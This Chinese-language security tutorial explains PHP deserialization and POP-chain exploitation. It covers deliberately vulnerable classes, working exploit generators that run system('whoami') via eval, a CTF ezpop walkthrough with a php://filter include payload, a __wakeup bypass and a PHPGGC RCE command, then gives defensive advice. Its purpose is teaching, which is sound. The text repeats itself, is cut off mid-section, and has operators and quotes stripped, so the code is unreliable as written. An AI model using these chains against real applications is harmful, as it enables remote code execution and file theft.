1. 从零开始为什么PHP反序列化漏洞是Web安全的“隐形杀手”如果你刚开始接触网络安全尤其是Web安全听到“反序列化漏洞”这个词可能会觉得有点抽象和遥远。但我要告诉你这恰恰是很多中高级漏洞的“核心发动机”尤其是在CTF比赛和真实世界的PHP应用审计中它出现的频率高得惊人。简单来说序列化就是把一个对象比如一个用户信息包含用户名、密码、权限等变成一串可以存储或传输的字符串。反序列化就是把这串字符串再变回原来的对象。听起来很合理对吧问题就出在这个“变回来”的过程中。PHP为了让我们能方便地操作对象提供了一些特殊的“魔术方法”比如__construct()创建时自动调用、__destruct()销毁时自动调用、__toString()被当作字符串处理时调用等等。这些方法本来是给开发者行方便的但如果代码写得不够严谨攻击者就可以精心构造一串恶意的序列化字符串。当这串数据被反序列化时就会触发一系列本不该被触发的魔术方法像推倒多米诺骨牌一样最终执行攻击者想要的任意代码比如执行系统命令、读取敏感文件。这个由多个魔术方法连接起来的攻击路径就是我们今天要深入拆解的POP链。对于新手而言理解POP链是打通PHP反序列化漏洞利用任督二脉的关键。它考验的不是你对某个单一函数的理解而是你对整个应用代码逻辑的全局把控和“连点成线”的思维能力。接下来我会用一个完全从零开始的视角带你一步步拆解POP链的构造原理、核心魔术方法并通过几个由浅入深的实战案例让你亲手“组装”出属于你的第一把漏洞利用武器。2. 核心基石你必须吃透的PHP魔术方法与反序列化机制在动手构造POP链之前我们必须把地基打牢。你需要彻底明白两件事一是PHP反序列化时对象是如何“复活”的二是那些关键的魔术方法会在什么时机被自动调用。2.1 序列化与反序列化数据的“封印”与“解封”我们先用一个最简单的例子看看序列化是什么样子class User { public $username admin; private $password 123456; // 注意这里是private } $user new User(); echo serialize($user);输出会是O:4:User:2:{s:8:username;s:5:admin;s:14:Userpassword;s:6:123456;}我来解读一下这串“天书”O:4:User表示这是一个对象Object类名长度为4类名是User。:2:表示这个对象有2个属性。{s:8:username;s:5:admin;...}是属性的具体内容。注意看对于私有属性password它在序列化字符串中的名字变成了\x00User\x00password这里显示为Userpassword包含了类名作为前缀。这是PHP处理private和protected属性的方式非常重要后面构造利用链时会遇到。当这串字符串通过unserialize()函数处理时PHP会根据其中的信息重新创建一个User类的对象并把相应的属性值填回去。这个过程本身没有执行任何代码。2.2 魔术方法POP链的“触发器”与“传动轴”漏洞产生的根源在于在反序列化后对象的生命周期中某些“魔术方法”会被自动调用。它们就像预设好的陷阱机关。以下是POP链中最常见的几位“主角”__wakeup()反序列化完成后的“第一声号角”。当一个对象被unserialize()成功还原后如果其类定义了__wakeup()方法那么这个方法会立即被调用。它常被开发者用来重新初始化数据库连接等资源。在POP链中它往往是我们的起始点链头因为攻击载荷一进来就会触发它。__destruct()对象销毁时的“临终遗言”。当对象的所有引用都被移除或脚本执行结束时这个方法会被调用。它和__wakeup()一样是极其常见的链头因为一个对象最终总是要销毁的。__toString()对象被当作字符串时的“变身术”。当一个对象被用在需要字符串的上下文中时比如echo $obj、$str “prefix” . $obj这个方法会被自动调用。它是连接不同对象、传递控制权的关键桥梁。__get($key)访问不存在的或不可访问的属性时的“补救员”。当你尝试读取一个对象中不存在、或无权访问如private的属性时这个方法会被触发。$key是你试图访问的属性名。我们经常利用它来跳转到另一个对象的方法。__invoke()对象被当作函数调用时的“伪装者”。当你尝试像调用函数一样调用一个对象时如$obj()这个方法会被执行。它是实现从属性到函数调用跳转的核心枢纽。__call()和__callStatic()分别对应调用不可访问的普通方法和静态方法。在复杂链中也会用到。关键理解POP链的本质就是寻找一条路径让我们能够从链头如__wakeup或__destruct开始通过对象属性之间的引用将程序执行流“传导”到链尾一个包含危险函数如eval(),system(),file_get_contents()的方法。传导的方式就是利用上述魔术方法的自动调用特性。3. 实战入门亲手构造你的第一条POP链光说不练假把式。我们现在就从一个最简单的、也是最经典的例子开始手把手构造一条POP链。请准备好你的代码编辑器或在线PHP环境。3.1 案例一属性替换直捣黄龙我们先看一段存在漏洞的代码// vuln.php highlight_file(__FILE__); class FileManager { public $handler; function __construct() { $this-handler new TextHandler(); // 默认使用文本处理器 } function __destruct() { // 销毁时调用处理器的清理方法 $this-handler-cleanup(); } } class TextHandler { public function cleanup() { echo Cleaning up text resources...\n; // 正常的清理逻辑 } } class DangerousHandler { private $command; public function cleanup() { // 危险操作执行系统命令 system($this-command); } } // 用户可控的反序列化入口 $data $_GET[data] ?? ; if (!empty($data)) { $obj unserialize($data); }漏洞分析找链尾Sink很明显DangerousHandler::cleanup()方法中的system($this-command)是我们的目标可以执行任意命令。找链头Source用户输入通过$_GET[‘data’]传入unserialize()这就是入口。反序列化后对象会经历生命周期最终触发__destruct()。连点成线FileManager的__destruct()会调用$this-handler-cleanup()。默认情况下$handler是TextHandler对象。但如果我们能通过反序列化将$handler属性替换成DangerousHandler对象那么最终调用的就是DangerousHandler的cleanup()方法。构造利用链EXP思路是创建一个FileManager对象但它的$handler属性不是默认的TextHandler而是我们恶意构造的DangerousHandler对象。// exp.php class FileManager { public $handler; } class DangerousHandler { private $command id; // 要执行的系统命令例如查看当前用户 } $malicious_handler new DangerousHandler(); $malicious_manager new FileManager(); $malicious_manager-handler $malicious_handler; echo urlencode(serialize($malicious_manager)); // 输出类似O%3A11%3A%22FileManager%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A17%3A%22DangerousHandler%22%3A1%3A%7Bs%3A20%3A%22%00DangerousHandler%00command%22%3Bs%3A2%3A%22id%22%3B%7D%7D将上面输出的字符串作为data参数的值发送给vuln.php。例如访问vuln.php?dataO%3A11%3A...。服务器反序列化后会创建我们设定的对象结构在脚本结束时触发FileManager::__destruct()进而调用DangerousHandler::cleanup()执行id命令。实操心得一属性可见性是第一个拦路虎在上面的DangerousHandler类中$command是private属性。你注意到序列化字符串里奇怪的%00DangerousHandler%00command了吗这就是私有属性序列化后的格式\x00类名\x00属性名。在构造EXP时必须严格按照这个格式来设置属性名否则反序列化后属性值无法正确赋值导致利用失败。很多新手在这里栽跟头。对于protected属性格式是\x00*\x00属性名。3.2 案例二利用__toString与__get搭建桥梁现在我们来个稍微复杂点的它更真实地展示了如何在多个类、多个魔术方法之间“穿梭”。// vuln2.php class Welcome { public $message; public function __destruct() { echo $this-message; // 触发 __toString } } class MessageContainer { public $storage; public function __toString() { // 试图访问 $storage 的 ‘content’ 属性 return $this-storage-content; } } class SecretVault { private $key; public function __get($name) { // 当访问不存在的属性时执行危险操作 eval($this-key); } }漏洞分析链尾SecretVault::__get()中的eval($this-key)。传导SecretVault::__get($name)会在其不存在的属性如content被访问时触发。MessageContainer::__toString()中正好有$this-storage-content如果$storage是一个SecretVault对象访问其不存在的content属性就会触发__get。Welcome::__destruct()中echo $this-message如果$message是一个MessageContainer对象就会触发其__toString()。链头通过unserialize传入的Welcome对象其__destruct()会被自动调用。构造POP链我们需要让Welcome对象的$message指向一个MessageContainer对象再让MessageContainer对象的$storage指向一个SecretVault对象并为SecretVault对象的私有属性$key赋值要执行的PHP代码。// exp2.php class Welcome { public $message; } class MessageContainer { public $storage; } class SecretVault { private $key system(whoami);; // 要执行的代码 } $vault new SecretVault(); $container new MessageContainer(); $container-storage $vault; // 关键连接点1storage指向vault $welcome new Welcome(); $welcome-message $container; // 关键连接点2message指向container echo urlencode(serialize($welcome));这条链的触发顺序是unserialize-Welcome::__destruct()-echo $this-message-MessageContainer::__toString()-$this-storage-content-SecretVault::__get(‘content’)-eval($this-key)- 执行system(‘whoami’)。实操心得二画图是理清复杂链的不二法门当面对三个以上类交互的POP链时很容易绕晕。我的习惯是拿出一张纸或使用绘图软件画出每个类标出它们的属性和魔术方法然后用箭头画出属性引用关系A的某个属性指向B的对象和方法调用关系A的方法中调用了B的某个方法。这幅图就是你的“攻击路线图”能让你对整条链的流向一目了然。4. 进阶挑战攻克CTF经典赛题“ezpop”掌握了基础我们来挑战一道CTF经典题改编自MRCTF 2020 ezpop。这道题融合了更多魔术方法并引入了文件包含漏洞是检验你是否真正理解POP链的绝佳试金石。4.1 题目代码与静态分析题目通常只给一个入口文件我们需要从中寻找所有类// index.php class Modifier { protected $var; public function append($value){ include($value); // 链尾文件包含可以利用php://filter读取文件 } public function __invoke(){ $this-append($this-var); } } class Show{ public $source; public $str; public function __construct($fileindex.php){ $this-source $file; echo Welcome to .$this-source.br; } public function __toString(){ return $this-str-source; // 这里访问了 $str-source } public function __wakeup(){ if(preg_match(/gopher|http|file|ftp|https|dict|\.\./i, $this-source)) { echo hacker; $this-source index.php; } // 注意__wakeup() 末尾没有其他代码但题目常在这里“藏”调用 // 实际上我们需要让 __wakeup 触发 __toString } } class Test{ public $p; public function __get($key){ $function $this-p; return $function(); // 如果 $p 是对象$function() 会触发 __invoke } } if(isset($_GET[pop])){ unserialize($_GET[pop]); } else { $anew Show; highlight_file(__FILE__); }第一步确定目标链尾我们的最终目标是执行任意操作。这里Modifier::append($value)方法中有include($value)。在PHP中include可以结合php://filter伪协议来读取文件源码如php://filter/readconvert.base64-encode/resourceflag.php这是常见的获取flag的手段。所以链尾是Modifier::append()。第二步逆向寻找触发路径从尾到头谁能调用append在Modifier类内部只有__invoke()方法调用了$this-append($this-var)。所以要执行append必须先触发Modifier对象的__invoke()。谁能触发__invoke当一个对象被当作函数调用时即$obj()。在代码中搜索()调用。在Test::__get($key)中有一行return $function();。如果$this-p是一个Modifier对象那么$function()就会触发其__invoke()。谁能触发Test::__get当访问一个对象不存在的或不可见的属性时。在Show::__toString()中有一行return $this-str-source;。如果$this-str是一个Test对象而Test类没有source这个public属性那么访问$this-str-source就会触发Test::__get(‘source’)。谁能触发Show::__toString当Show对象被当作字符串使用时。在Show::__wakeup()中虽然代码里没有直接echo一个Show对象但请注意__wakeup()中对$this-source进行了正则匹配。如果$this-source本身就是一个Show对象呢在PHP中preg_match的第一个参数需要是字符串当传入一个对象时会尝试将该对象转换为字符串从而触发其__toString()方法这是一个非常精妙的技巧。链头在哪里用户输入通过$_GET[‘pop’]传给unserialize()。反序列化完成后会调用对象的__wakeup()方法。所以链头是Show::__wakeup()。第三步画出完整的POP链unserialize(传入的Show对象)-Show::__wakeup()-preg_match(..., $this-source)-$this-source(是另一个Show对象)的__toString()被触发 -Show::__toString()-$this-str-source-$this-str(是Test对象)的__get(‘source’)被触发 -Test::__get()-$function()($this-p是Modifier对象) -Modifier::__invoke()被触发 -Modifier::__invoke()-$this-append($this-var)-Modifier::append()-include($this-var)- 文件包含读取flag。4.2 动态构造利用载荷现在我们根据分析从链头开始正向构造对象属性关系// exp_ezpop.php class Modifier { protected $var php://filter/readconvert.base64-encode/resourceflag.php; } class Show{ public $source; public $str; } class Test{ public $p; } // 从链尾开始构造Modifier对象设置要读取的文件 $modifier new Modifier(); // Test对象其属性p需要指向Modifier对象以便在__get中调用$p() $test new Test(); $test-p $modifier; // Show对象 (称为show_str)其str属性需要指向Test对象以便在__toString中触发__get $show_str new Show(); $show_str-str $test; // 注意这里设置的是str不是source // Show对象 (称为show_source)其source属性需要指向另一个Show对象(show_str)以触发__toString $show_source new Show(); $show_source-source $show_str; // 关键让source成为一个对象 // 最后我们序列化的入口点是$show_source echo urlencode(serialize($show_source));执行这个EXP生成脚本你会得到一长串URL编码后的字符串。将其作为pop参数的值传给题目页面。服务器会反序列化它触发完整的POP链最终执行include(‘php://filter/readconvert.base64-encode/resourceflag.php’)。由于include会包含文件并执行其PHP代码但我们用过滤器将其内容Base64编码了所以页面上会显示一串Base64编码。你需要做的就是将这段Base64解码就能得到flag.php的源代码从而找到flag。避坑指南__wakeup()的绕过与属性数量陷阱早期的PHP反序列化漏洞利用中有一个著名的__wakeup()绕过技巧如果序列化字符串中表示的对象属性个数大于实际属性个数__wakeup()方法就不会被执行CVE-2016-7124。例如对象实际有2个属性但在序列化字符串中写成O:4:“Test”:3:{...}数量为3。这个漏洞在PHP 5.6.25以下和7.0.10以下版本有效。但在现代CTF和实际环境中PHP版本通常已修复此问题此技巧大多失效。我们的重心应放在正确定义属性关系上。另外构造时务必注意属性是public、protected还是private序列化字符串中的格式必须正确否则属性赋值失败会导致链子断裂。5. 工具辅助与高级利用技巧当你熟练了手动构造后可以借助工具提升效率并了解一些更高级的场景。5.1 使用PHPGGC进行快速漏洞利用对于已知的、流行的PHP框架或库的反序列化漏洞如ThinkPHP, Laravel, Monolog等已经有成熟的工具链。PHPGGC是一个集合了多种框架POP链的生成工具。你只需要指定框架和想要执行的命令它就能一键生成利用载荷。# 示例生成一个ThinkPHP RCE的利用载荷 php phpggc ThinkPHP/RCE system “id” payload.txt但请注意工具是双刃剑。在CTF中考察的是你对原理的理解通常需要你手动构造。PHPGGC更适合在渗透测试中针对已知组件进行快速利用。作为学习者永远要以理解手动构造为前提。5.2 处理字符逃逸与对象注入在一些复杂的场景中源代码可能会对序列化字符串进行过滤或修改比如用str_replace替换某些字符。这可能导致序列化字符串的长度和结构发生变化如果处理不当反序列化会失败。这就需要用到“字符逃逸”技术。核心思想通过精心构造输入使得过滤后的字符串恰好能拼接成我们想要的、语法正确的序列化字符串。例如如果代码将‘x’替换为‘xx’那么我们可以提前注入一个‘x’让它被替换成‘xx’从而“吃掉”后面用于闭合的引号或括号将我们后续注入的恶意对象“逃逸”出来成为独立的部分。这部分内容较为进阶需要扎实的序列化格式基础。5.3 寻找POP链的通用方法论面对一套陌生的、庞大的源码如何系统地寻找POP链定位危险函数Sink全局搜索eval(),assert(),system(),exec(),shell_exec(),file_put_contents(),unlink(),include()/require()等函数。回溯调用链找到危险函数后向上回溯看它是被哪个类方法调用的。这个方法是否是魔术方法如果不是看哪些魔术方法会调用它。定位入口点Source全局搜索unserialize()函数看哪些参数用户可控。同时识别所有定义了__wakeup()和__destruct()的类它们都是潜在的链头。绘制调用图将找到的Sink和Source用中间可能存在的魔术方法__toString,__get,__call,__invoke连接起来。关注对象属性之间的赋值关系一个类的属性是否可能是另一个类的对象。关注“胶水”类那些定义了__call,__get,__toString等魔术方法并且在方法内调用了其他对象属性或方法的类往往是连接不同功能模块的“胶水”是POP链中的关键跳板。6. 防御之道开发者如何避免反序列化漏洞作为攻击者我们学习利用作为开发者我们更应学习防御。根本方法不要反序列化不可信数据。如果可能使用JSON、XML等更安全的格式进行数据交换。使用安全的白名单机制如果必须使用反序列化应实现一个严格的白名单只允许反序列化预期的、安全的类。PHP的unserialize()函数可以设置第二个参数通过实现__autoload或spl_autoload_register并结合白名单检查来实现。function safe_unserialize($data) { $allowed_classes [‘SafeClass1‘, ‘SafeClass2‘]; $result unserialize($data, [‘allowed_classes‘ $allowed_classes]); return $result; }签名与验签对序列化后的数据进行数字签名如HMAC在反序列化前验证其完整性和来源可靠性。日志与监控记录所有反序列化操作特别是失败的尝试用于异常检测和事后溯源。代码审计在代码审查中重点关注unserialize()的使用点检查其参数是否用户可控。审查所有魔术方法的实现确保其中没有危险操作或不可控的参数传递。7. 学习路径与资源推荐从看懂到会挖你需要持续的练习。动手环境在本地搭建PHP环境如PHPStudy, Docker将文中的案例代码复制过去自己动手构造、调试、触发。调试时可以用error_log(print_r($object, true))来打印对象状态。CTF平台攻防世界AdWorld、BUUCTF有大量分类好的、难度递进的反序列化题目从入门到精通。CTFHub提供技能树可以专项练习反序列化。靶场项目Vulhub、DVWA、Web for Pentester提供包含反序列化漏洞的完整虚拟机或Docker环境适合做综合渗透练习。经典文章与仓库PHP反序列化由浅入深很多安全博客的系列文章是很好的入门资料。PHPGGC仓库即使不直接用学习里面收集的各种POP链构造思路也受益匪浅。《白帽子讲Web安全》有专门章节讲解反序列化漏洞原理。这条路从理解“对象变成字符串再变回来”开始到能够在一套数万行代码的框架中挖掘出深藏的POP链需要大量的代码阅读和逻辑推理训练。我个人的体会是每成功构造一条复杂的POP链尤其是通过审计真实开源代码挖到的那种“柳暗花明”的成就感是无与伦比的。记住最关键的一步永远是静下心来仔细读代码画出数据流图。当你把那些看似无关的类和方法通过属性引用串联起来时你就掌握了这门“化腐朽为神奇”的艺术。
PHP反序列化漏洞与POP链构造：从原理到实战攻防
1. 从零开始为什么PHP反序列化漏洞是Web安全的“隐形杀手”如果你刚开始接触网络安全尤其是Web安全听到“反序列化漏洞”这个词可能会觉得有点抽象和遥远。但我要告诉你这恰恰是很多中高级漏洞的“核心发动机”尤其是在CTF比赛和真实世界的PHP应用审计中它出现的频率高得惊人。简单来说序列化就是把一个对象比如一个用户信息包含用户名、密码、权限等变成一串可以存储或传输的字符串。反序列化就是把这串字符串再变回原来的对象。听起来很合理对吧问题就出在这个“变回来”的过程中。PHP为了让我们能方便地操作对象提供了一些特殊的“魔术方法”比如__construct()创建时自动调用、__destruct()销毁时自动调用、__toString()被当作字符串处理时调用等等。这些方法本来是给开发者行方便的但如果代码写得不够严谨攻击者就可以精心构造一串恶意的序列化字符串。当这串数据被反序列化时就会触发一系列本不该被触发的魔术方法像推倒多米诺骨牌一样最终执行攻击者想要的任意代码比如执行系统命令、读取敏感文件。这个由多个魔术方法连接起来的攻击路径就是我们今天要深入拆解的POP链。对于新手而言理解POP链是打通PHP反序列化漏洞利用任督二脉的关键。它考验的不是你对某个单一函数的理解而是你对整个应用代码逻辑的全局把控和“连点成线”的思维能力。接下来我会用一个完全从零开始的视角带你一步步拆解POP链的构造原理、核心魔术方法并通过几个由浅入深的实战案例让你亲手“组装”出属于你的第一把漏洞利用武器。2. 核心基石你必须吃透的PHP魔术方法与反序列化机制在动手构造POP链之前我们必须把地基打牢。你需要彻底明白两件事一是PHP反序列化时对象是如何“复活”的二是那些关键的魔术方法会在什么时机被自动调用。2.1 序列化与反序列化数据的“封印”与“解封”我们先用一个最简单的例子看看序列化是什么样子class User { public $username admin; private $password 123456; // 注意这里是private } $user new User(); echo serialize($user);输出会是O:4:User:2:{s:8:username;s:5:admin;s:14:Userpassword;s:6:123456;}我来解读一下这串“天书”O:4:User表示这是一个对象Object类名长度为4类名是User。:2:表示这个对象有2个属性。{s:8:username;s:5:admin;...}是属性的具体内容。注意看对于私有属性password它在序列化字符串中的名字变成了\x00User\x00password这里显示为Userpassword包含了类名作为前缀。这是PHP处理private和protected属性的方式非常重要后面构造利用链时会遇到。当这串字符串通过unserialize()函数处理时PHP会根据其中的信息重新创建一个User类的对象并把相应的属性值填回去。这个过程本身没有执行任何代码。2.2 魔术方法POP链的“触发器”与“传动轴”漏洞产生的根源在于在反序列化后对象的生命周期中某些“魔术方法”会被自动调用。它们就像预设好的陷阱机关。以下是POP链中最常见的几位“主角”__wakeup()反序列化完成后的“第一声号角”。当一个对象被unserialize()成功还原后如果其类定义了__wakeup()方法那么这个方法会立即被调用。它常被开发者用来重新初始化数据库连接等资源。在POP链中它往往是我们的起始点链头因为攻击载荷一进来就会触发它。__destruct()对象销毁时的“临终遗言”。当对象的所有引用都被移除或脚本执行结束时这个方法会被调用。它和__wakeup()一样是极其常见的链头因为一个对象最终总是要销毁的。__toString()对象被当作字符串时的“变身术”。当一个对象被用在需要字符串的上下文中时比如echo $obj、$str “prefix” . $obj这个方法会被自动调用。它是连接不同对象、传递控制权的关键桥梁。__get($key)访问不存在的或不可访问的属性时的“补救员”。当你尝试读取一个对象中不存在、或无权访问如private的属性时这个方法会被触发。$key是你试图访问的属性名。我们经常利用它来跳转到另一个对象的方法。__invoke()对象被当作函数调用时的“伪装者”。当你尝试像调用函数一样调用一个对象时如$obj()这个方法会被执行。它是实现从属性到函数调用跳转的核心枢纽。__call()和__callStatic()分别对应调用不可访问的普通方法和静态方法。在复杂链中也会用到。关键理解POP链的本质就是寻找一条路径让我们能够从链头如__wakeup或__destruct开始通过对象属性之间的引用将程序执行流“传导”到链尾一个包含危险函数如eval(),system(),file_get_contents()的方法。传导的方式就是利用上述魔术方法的自动调用特性。3. 实战入门亲手构造你的第一条POP链光说不练假把式。我们现在就从一个最简单的、也是最经典的例子开始手把手构造一条POP链。请准备好你的代码编辑器或在线PHP环境。3.1 案例一属性替换直捣黄龙我们先看一段存在漏洞的代码// vuln.php highlight_file(__FILE__); class FileManager { public $handler; function __construct() { $this-handler new TextHandler(); // 默认使用文本处理器 } function __destruct() { // 销毁时调用处理器的清理方法 $this-handler-cleanup(); } } class TextHandler { public function cleanup() { echo Cleaning up text resources...\n; // 正常的清理逻辑 } } class DangerousHandler { private $command; public function cleanup() { // 危险操作执行系统命令 system($this-command); } } // 用户可控的反序列化入口 $data $_GET[data] ?? ; if (!empty($data)) { $obj unserialize($data); }漏洞分析找链尾Sink很明显DangerousHandler::cleanup()方法中的system($this-command)是我们的目标可以执行任意命令。找链头Source用户输入通过$_GET[‘data’]传入unserialize()这就是入口。反序列化后对象会经历生命周期最终触发__destruct()。连点成线FileManager的__destruct()会调用$this-handler-cleanup()。默认情况下$handler是TextHandler对象。但如果我们能通过反序列化将$handler属性替换成DangerousHandler对象那么最终调用的就是DangerousHandler的cleanup()方法。构造利用链EXP思路是创建一个FileManager对象但它的$handler属性不是默认的TextHandler而是我们恶意构造的DangerousHandler对象。// exp.php class FileManager { public $handler; } class DangerousHandler { private $command id; // 要执行的系统命令例如查看当前用户 } $malicious_handler new DangerousHandler(); $malicious_manager new FileManager(); $malicious_manager-handler $malicious_handler; echo urlencode(serialize($malicious_manager)); // 输出类似O%3A11%3A%22FileManager%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A17%3A%22DangerousHandler%22%3A1%3A%7Bs%3A20%3A%22%00DangerousHandler%00command%22%3Bs%3A2%3A%22id%22%3B%7D%7D将上面输出的字符串作为data参数的值发送给vuln.php。例如访问vuln.php?dataO%3A11%3A...。服务器反序列化后会创建我们设定的对象结构在脚本结束时触发FileManager::__destruct()进而调用DangerousHandler::cleanup()执行id命令。实操心得一属性可见性是第一个拦路虎在上面的DangerousHandler类中$command是private属性。你注意到序列化字符串里奇怪的%00DangerousHandler%00command了吗这就是私有属性序列化后的格式\x00类名\x00属性名。在构造EXP时必须严格按照这个格式来设置属性名否则反序列化后属性值无法正确赋值导致利用失败。很多新手在这里栽跟头。对于protected属性格式是\x00*\x00属性名。3.2 案例二利用__toString与__get搭建桥梁现在我们来个稍微复杂点的它更真实地展示了如何在多个类、多个魔术方法之间“穿梭”。// vuln2.php class Welcome { public $message; public function __destruct() { echo $this-message; // 触发 __toString } } class MessageContainer { public $storage; public function __toString() { // 试图访问 $storage 的 ‘content’ 属性 return $this-storage-content; } } class SecretVault { private $key; public function __get($name) { // 当访问不存在的属性时执行危险操作 eval($this-key); } }漏洞分析链尾SecretVault::__get()中的eval($this-key)。传导SecretVault::__get($name)会在其不存在的属性如content被访问时触发。MessageContainer::__toString()中正好有$this-storage-content如果$storage是一个SecretVault对象访问其不存在的content属性就会触发__get。Welcome::__destruct()中echo $this-message如果$message是一个MessageContainer对象就会触发其__toString()。链头通过unserialize传入的Welcome对象其__destruct()会被自动调用。构造POP链我们需要让Welcome对象的$message指向一个MessageContainer对象再让MessageContainer对象的$storage指向一个SecretVault对象并为SecretVault对象的私有属性$key赋值要执行的PHP代码。// exp2.php class Welcome { public $message; } class MessageContainer { public $storage; } class SecretVault { private $key system(whoami);; // 要执行的代码 } $vault new SecretVault(); $container new MessageContainer(); $container-storage $vault; // 关键连接点1storage指向vault $welcome new Welcome(); $welcome-message $container; // 关键连接点2message指向container echo urlencode(serialize($welcome));这条链的触发顺序是unserialize-Welcome::__destruct()-echo $this-message-MessageContainer::__toString()-$this-storage-content-SecretVault::__get(‘content’)-eval($this-key)- 执行system(‘whoami’)。实操心得二画图是理清复杂链的不二法门当面对三个以上类交互的POP链时很容易绕晕。我的习惯是拿出一张纸或使用绘图软件画出每个类标出它们的属性和魔术方法然后用箭头画出属性引用关系A的某个属性指向B的对象和方法调用关系A的方法中调用了B的某个方法。这幅图就是你的“攻击路线图”能让你对整条链的流向一目了然。4. 进阶挑战攻克CTF经典赛题“ezpop”掌握了基础我们来挑战一道CTF经典题改编自MRCTF 2020 ezpop。这道题融合了更多魔术方法并引入了文件包含漏洞是检验你是否真正理解POP链的绝佳试金石。4.1 题目代码与静态分析题目通常只给一个入口文件我们需要从中寻找所有类// index.php class Modifier { protected $var; public function append($value){ include($value); // 链尾文件包含可以利用php://filter读取文件 } public function __invoke(){ $this-append($this-var); } } class Show{ public $source; public $str; public function __construct($fileindex.php){ $this-source $file; echo Welcome to .$this-source.br; } public function __toString(){ return $this-str-source; // 这里访问了 $str-source } public function __wakeup(){ if(preg_match(/gopher|http|file|ftp|https|dict|\.\./i, $this-source)) { echo hacker; $this-source index.php; } // 注意__wakeup() 末尾没有其他代码但题目常在这里“藏”调用 // 实际上我们需要让 __wakeup 触发 __toString } } class Test{ public $p; public function __get($key){ $function $this-p; return $function(); // 如果 $p 是对象$function() 会触发 __invoke } } if(isset($_GET[pop])){ unserialize($_GET[pop]); } else { $anew Show; highlight_file(__FILE__); }第一步确定目标链尾我们的最终目标是执行任意操作。这里Modifier::append($value)方法中有include($value)。在PHP中include可以结合php://filter伪协议来读取文件源码如php://filter/readconvert.base64-encode/resourceflag.php这是常见的获取flag的手段。所以链尾是Modifier::append()。第二步逆向寻找触发路径从尾到头谁能调用append在Modifier类内部只有__invoke()方法调用了$this-append($this-var)。所以要执行append必须先触发Modifier对象的__invoke()。谁能触发__invoke当一个对象被当作函数调用时即$obj()。在代码中搜索()调用。在Test::__get($key)中有一行return $function();。如果$this-p是一个Modifier对象那么$function()就会触发其__invoke()。谁能触发Test::__get当访问一个对象不存在的或不可见的属性时。在Show::__toString()中有一行return $this-str-source;。如果$this-str是一个Test对象而Test类没有source这个public属性那么访问$this-str-source就会触发Test::__get(‘source’)。谁能触发Show::__toString当Show对象被当作字符串使用时。在Show::__wakeup()中虽然代码里没有直接echo一个Show对象但请注意__wakeup()中对$this-source进行了正则匹配。如果$this-source本身就是一个Show对象呢在PHP中preg_match的第一个参数需要是字符串当传入一个对象时会尝试将该对象转换为字符串从而触发其__toString()方法这是一个非常精妙的技巧。链头在哪里用户输入通过$_GET[‘pop’]传给unserialize()。反序列化完成后会调用对象的__wakeup()方法。所以链头是Show::__wakeup()。第三步画出完整的POP链unserialize(传入的Show对象)-Show::__wakeup()-preg_match(..., $this-source)-$this-source(是另一个Show对象)的__toString()被触发 -Show::__toString()-$this-str-source-$this-str(是Test对象)的__get(‘source’)被触发 -Test::__get()-$function()($this-p是Modifier对象) -Modifier::__invoke()被触发 -Modifier::__invoke()-$this-append($this-var)-Modifier::append()-include($this-var)- 文件包含读取flag。4.2 动态构造利用载荷现在我们根据分析从链头开始正向构造对象属性关系// exp_ezpop.php class Modifier { protected $var php://filter/readconvert.base64-encode/resourceflag.php; } class Show{ public $source; public $str; } class Test{ public $p; } // 从链尾开始构造Modifier对象设置要读取的文件 $modifier new Modifier(); // Test对象其属性p需要指向Modifier对象以便在__get中调用$p() $test new Test(); $test-p $modifier; // Show对象 (称为show_str)其str属性需要指向Test对象以便在__toString中触发__get $show_str new Show(); $show_str-str $test; // 注意这里设置的是str不是source // Show对象 (称为show_source)其source属性需要指向另一个Show对象(show_str)以触发__toString $show_source new Show(); $show_source-source $show_str; // 关键让source成为一个对象 // 最后我们序列化的入口点是$show_source echo urlencode(serialize($show_source));执行这个EXP生成脚本你会得到一长串URL编码后的字符串。将其作为pop参数的值传给题目页面。服务器会反序列化它触发完整的POP链最终执行include(‘php://filter/readconvert.base64-encode/resourceflag.php’)。由于include会包含文件并执行其PHP代码但我们用过滤器将其内容Base64编码了所以页面上会显示一串Base64编码。你需要做的就是将这段Base64解码就能得到flag.php的源代码从而找到flag。避坑指南__wakeup()的绕过与属性数量陷阱早期的PHP反序列化漏洞利用中有一个著名的__wakeup()绕过技巧如果序列化字符串中表示的对象属性个数大于实际属性个数__wakeup()方法就不会被执行CVE-2016-7124。例如对象实际有2个属性但在序列化字符串中写成O:4:“Test”:3:{...}数量为3。这个漏洞在PHP 5.6.25以下和7.0.10以下版本有效。但在现代CTF和实际环境中PHP版本通常已修复此问题此技巧大多失效。我们的重心应放在正确定义属性关系上。另外构造时务必注意属性是public、protected还是private序列化字符串中的格式必须正确否则属性赋值失败会导致链子断裂。5. 工具辅助与高级利用技巧当你熟练了手动构造后可以借助工具提升效率并了解一些更高级的场景。5.1 使用PHPGGC进行快速漏洞利用对于已知的、流行的PHP框架或库的反序列化漏洞如ThinkPHP, Laravel, Monolog等已经有成熟的工具链。PHPGGC是一个集合了多种框架POP链的生成工具。你只需要指定框架和想要执行的命令它就能一键生成利用载荷。# 示例生成一个ThinkPHP RCE的利用载荷 php phpggc ThinkPHP/RCE system “id” payload.txt但请注意工具是双刃剑。在CTF中考察的是你对原理的理解通常需要你手动构造。PHPGGC更适合在渗透测试中针对已知组件进行快速利用。作为学习者永远要以理解手动构造为前提。5.2 处理字符逃逸与对象注入在一些复杂的场景中源代码可能会对序列化字符串进行过滤或修改比如用str_replace替换某些字符。这可能导致序列化字符串的长度和结构发生变化如果处理不当反序列化会失败。这就需要用到“字符逃逸”技术。核心思想通过精心构造输入使得过滤后的字符串恰好能拼接成我们想要的、语法正确的序列化字符串。例如如果代码将‘x’替换为‘xx’那么我们可以提前注入一个‘x’让它被替换成‘xx’从而“吃掉”后面用于闭合的引号或括号将我们后续注入的恶意对象“逃逸”出来成为独立的部分。这部分内容较为进阶需要扎实的序列化格式基础。5.3 